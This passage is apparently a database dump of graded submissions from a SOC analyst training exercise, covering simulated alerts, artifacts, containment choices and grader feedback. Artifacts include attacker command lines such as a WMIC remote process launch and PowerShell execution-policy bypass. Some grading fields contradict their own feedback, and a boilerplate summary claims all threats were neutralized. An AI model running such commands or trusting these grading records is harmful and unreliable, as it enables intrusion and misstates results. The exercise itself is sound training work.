(436, 225, 1381, 'graded', 100, 'Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.20\",\"ip-203.0.113.95\",\"hash-d41d8cd9\"],\"selectedActions\":[\"block_ip\",\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 10:45:59 PM\\nALERT: Suspicious File Downloaded from Public IP\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.20\\n- [IP] 203.0.113.95\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T11:46:07.596Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-07 14:51:12', '2026-03-07 11:45:12', '2026-03-07 11:46:07', 0, NULL),
(437, 225, 601, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-45.67.89.123\",\"ip-192.168.1.10\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 10:50:23 PM\\nALERT: Brute Force Attack Detected on Corporate Server\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 45.67.89.123\\n- [IP] 192.168.1.10\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T11:50:25.321Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-07 14:59:36', '2026-03-07 11:49:36', '2026-03-07 11:50:25', 0, NULL),
(438, 225, 217, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 10:54:07 PM\\nALERT: Suspicious Remote Login Attempt Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [USERNAME] NotAvailable\\n- [USERNAME] Guest\\n- [USERNAME] LOCAL\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T11:54:10.051Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', '2026-03-07 15:00:33', '2026-03-07 11:52:33', '2026-03-07 11:54:10', 0, NULL),
(439, 225, 1266, 'graded', 85, 'Verdict is correct (+40). Missed critical artifacts: command nmap -sP 192.168.3.0/24 (1/2). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.3.45\",\"ip-192.168.3.1\",\"cmd-1\"],\"selectedActions\":[\"collect_forensics\",\"isolate_host\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 10:57:36 PM\\nALERT: Internal Reconnaissance Detected via Network Scanning\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.3.45\\n- [IP] 192.168.3.1\\n- [COMMAND] nmap -sP 192.168.3.0/24\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Reset Credentials\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T11:57:45.017Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts: command nmap -sP 192.168.3.0/24 (1/2). Response actions correct (+30)\",\"missed_items\":[\"command: nmap -sP 192.168.3.0/24\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-07 11:55:22', '2026-03-07 11:57:45', 0, NULL),
(440, 232, 270, 'graded', 60, 'Incorrect verdict. Expected True Positive, got false_positive. All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"escalate\",\"reset_credentials\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 7:21:12 PM\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T13:51:15.649Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Incorrect verdict. Expected True Positive, got false_positive. All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-03-07 12:57:07', '2026-03-07 13:51:15', 0, NULL),
(441, 232, 271, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-10.0.0.5\",\"hash-5f4dcc3b\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 7:23:25 PM\\nALERT: Lateral Movement to OT Network [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.101\\n- [IP] 10.0.0.5\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [USERNAME] jdoe\\n- [IP] 203.0.113.55\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T13:53:28.023Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"reset_credentials\",\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-07 13:51:15', '2026-03-07 13:53:28', 0, NULL),
(442, 232, 272, 'graded', 95, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (5/6)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.20\",\"hash-5d41402a\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"reset_credentials\",\"block_ip\",\"block_hash\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 7:26:18 PM\\nALERT: SCADA System Compromise [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.20\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [IP] 203.0.113.45\\n- [FILENAME] malicious_script.sh\\n- [USERNAME] unauthorized_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T13:56:20.232Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (5/6)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-07 13:53:28', '2026-03-07 13:56:20', 0, NULL),
(443, 232, 274, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-07 13:57:28', '2026-03-07 13:57:28', 0, NULL),
(444, 259, 581, 'graded', 93, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.101\",\"hash-5f4dcc3b5aa765d61d8327deb882cf99,098f6bcd4621d373cade4e832627b4f6,e99a18c428cb38d5f260853678922e03\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 07/03/2026, 20:26:55\\nALERT: Anomalous File Access Patterns [OP: Operation Credit Bureau]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.101\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99,098f6bcd4621d373cade4e832627b4f6,e99a18c428cb38d5f260853678922e03\\n- [FILENAME] /finance/2023_budgets.xlsx\\n- [FILENAME] /hr/employee_records.docx\\n- [FILENAME] /legal/contracts/nda.pdf\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T19:27:45.306Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', '2026-03-07 22:27:57', '2026-03-07 19:22:57', '2026-03-07 19:27:45', 0, NULL),
(447, 189, 319, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.5\",\"ip-192.168.1.45\",\"domain-http://malic\",\"artifact_1\",\"artifact_2\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 3:48:53 AM\\nALERT: Suspicious Email Detected [OP: Operation Silent Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 203.0.113.5\\n- [IP] 192.168.1.45\\n- [DOMAIN] http://maliciousdomain.com/login\\n- [EMAIL] attacker@maliciousdomain.com\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [FILENAME] Invoice_2023.pdf\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-03-09T02:49:06.880Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-08 22:12:30', '2026-03-09 02:49:06', 0, NULL),
(448, 225, 1373, 'graded', 85, 'Verdict is correct (+40). Missed critical artifacts: command C:\\Windows\\System32\\cmd.exe /c malicious.exe (1/2). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"hash-e3b0c442\",\"cmd-1\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 1:32:54 PM\\nALERT: Malware Detected via Suspicious Process Execution\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.100\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [COMMAND] C:\\\\Windows\\\\System32\\\\cmd.exe /c malicious.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T02:32:56.225Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts: command C:\\\\Windows\\\\System32\\\\cmd.exe /c malicious.exe (1/2). Response actions correct (+30)\",\"missed_items\":[\"command: C:\\\\Windows\\\\System32\\\\cmd.exe /c malicious.exe\"],\"strengths\":\"Solid analysis\"}', '2026-03-09 05:11:11', '2026-03-09 02:04:11', '2026-03-09 02:32:56', 0, NULL),
(449, 225, 641, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.112\",\"ip-10.0.0.10\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 1:34:08 PM\\nALERT: Unauthorized Access Attempt on Admin Account\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.112\\n- [IP] 10.0.0.10\\n- [USERNAME] admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T02:34:11.274Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 05:42:21', '2026-03-09 02:33:21', '2026-03-09 02:34:11', 0, NULL),
(450, 225, 1384, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.200\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 1:35:14 PM\\nALERT: Unauthorized Admin Login Attempt\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 203.0.113.200\\n- [USERNAME] admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T02:38:05.847Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 05:44:26', '2026-03-09 02:34:26', '2026-03-09 02:38:05', 0, NULL),
(451, 225, 1382, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.55\",\"ip-203.0.113.85\",\"domain-malicious-cr\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 1:42:01 PM\\nALERT: Credential Harvesting Attempt via Phishing Site\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.55\\n- [IP] 203.0.113.85\\n- [DOMAIN] malicious-credentials.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T02:42:09.236Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 05:49:43', '2026-03-09 02:40:43', '2026-03-09 02:42:09', 0, NULL),
(452, 225, 1393, 'graded', 70, 'Verdict is correct (+40). Missed critical artifacts: command powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"Write-Host \'Hello World\'\" (0/1). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.6.15\",\"cmd-1\",\"artifact_3\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 1:43:31 PM\\nALERT: Suspicious Command Execution on Workstation\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.6.15\\n- [COMMAND] powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\"Write-Host \'Hello World\'\\\"\\n- [USERNAME] klee\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T02:43:36.835Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts: command powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\"Write-Host \'Hello World\'\\\" (0/1). Response actions correct (+30)\",\"missed_items\":[\"command: powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\"Write-Host \'Hello World\'\\\"\"],\"strengths\":\"Needs improvement\"}', '2026-03-09 05:49:21', '2026-03-09 02:42:21', '2026-03-09 02:43:36', 0, NULL),
(453, 225, 1391, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.4.10\",\"ip-93.184.216.34\",\"artifact_3\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 1:45:25 PM\\nALERT: Unusual Network Connection to External IP\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.4.10\\n- [IP] 93.184.216.34\\n- [USERNAME] psmith\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T02:45:30.995Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 05:54:14', '2026-03-09 02:44:14', '2026-03-09 02:45:30', 0, NULL),
(454, 225, 643, 'graded', 60, 'Incorrect verdict. Expected false_positive, got benign. Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.50\",\"ip-10.0.0.15\",\"artifact_2\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"benign\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 1:46:57 PM\\nALERT: False Positive: User Access from Known Location\\nVERDICT: BENIGN\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 198.51.100.50\\n- [IP] 10.0.0.15\\n- [USERNAME] mike\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T02:47:02.798Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Incorrect verdict. Expected false_positive, got benign. Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', '2026-03-09 05:54:39', '2026-03-09 02:45:39', '2026-03-09 02:47:02', 0, NULL),
(455, 189, 320, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.57\",\"ip-10.0.0.45\",\"hash-b1946ac9\",\"cmd-1\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 3:51:01 AM\\nALERT: Unauthorized Application Execution [OP: Operation Silent Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.57\\n- [IP] 10.0.0.45\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [COMMAND] powershell.exe -ExecutionPolicy Bypass -File C:\\\\Temp\\\\malicious_script.ps1\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-03-09T02:51:16.367Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 02:49:06', '2026-03-09 02:51:16', 0, NULL),
(456, 189, 321, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.2.15\",\"hash-5d41402a\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 3:54:12 AM\\nALERT: Persistence Mechanism Installed [OP: Operation Silent Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.2.15\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [FILENAME] C:\\\\Windows\\\\System32\\\\Tasks\\\\ScheduledTaskMalware\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-03-09T02:54:27.135Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 02:51:16', '2026-03-09 02:54:27', 0, NULL),
(457, 189, 322, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.102\",\"ip-192.168.1.150\",\"hash-3f1d0f1e\",\"cmd-1\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 3:57:07 AM\\nALERT: Lateral Movement Detected [OP: Operation Silent Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.102\\n- [IP] 192.168.1.150\\n- [HASH] 3f1d0f1e2a2b3c4d5e6f7a8b9c0d1e2f3g4h5i6j\\n- [COMMAND] wmic /node:192.168.1.150 process call create \'cmd.exe /c whoami\'\\n- [IP] 203.0.113.45\\n- [USERNAME] admin_jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-03-09T02:57:18.209Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct 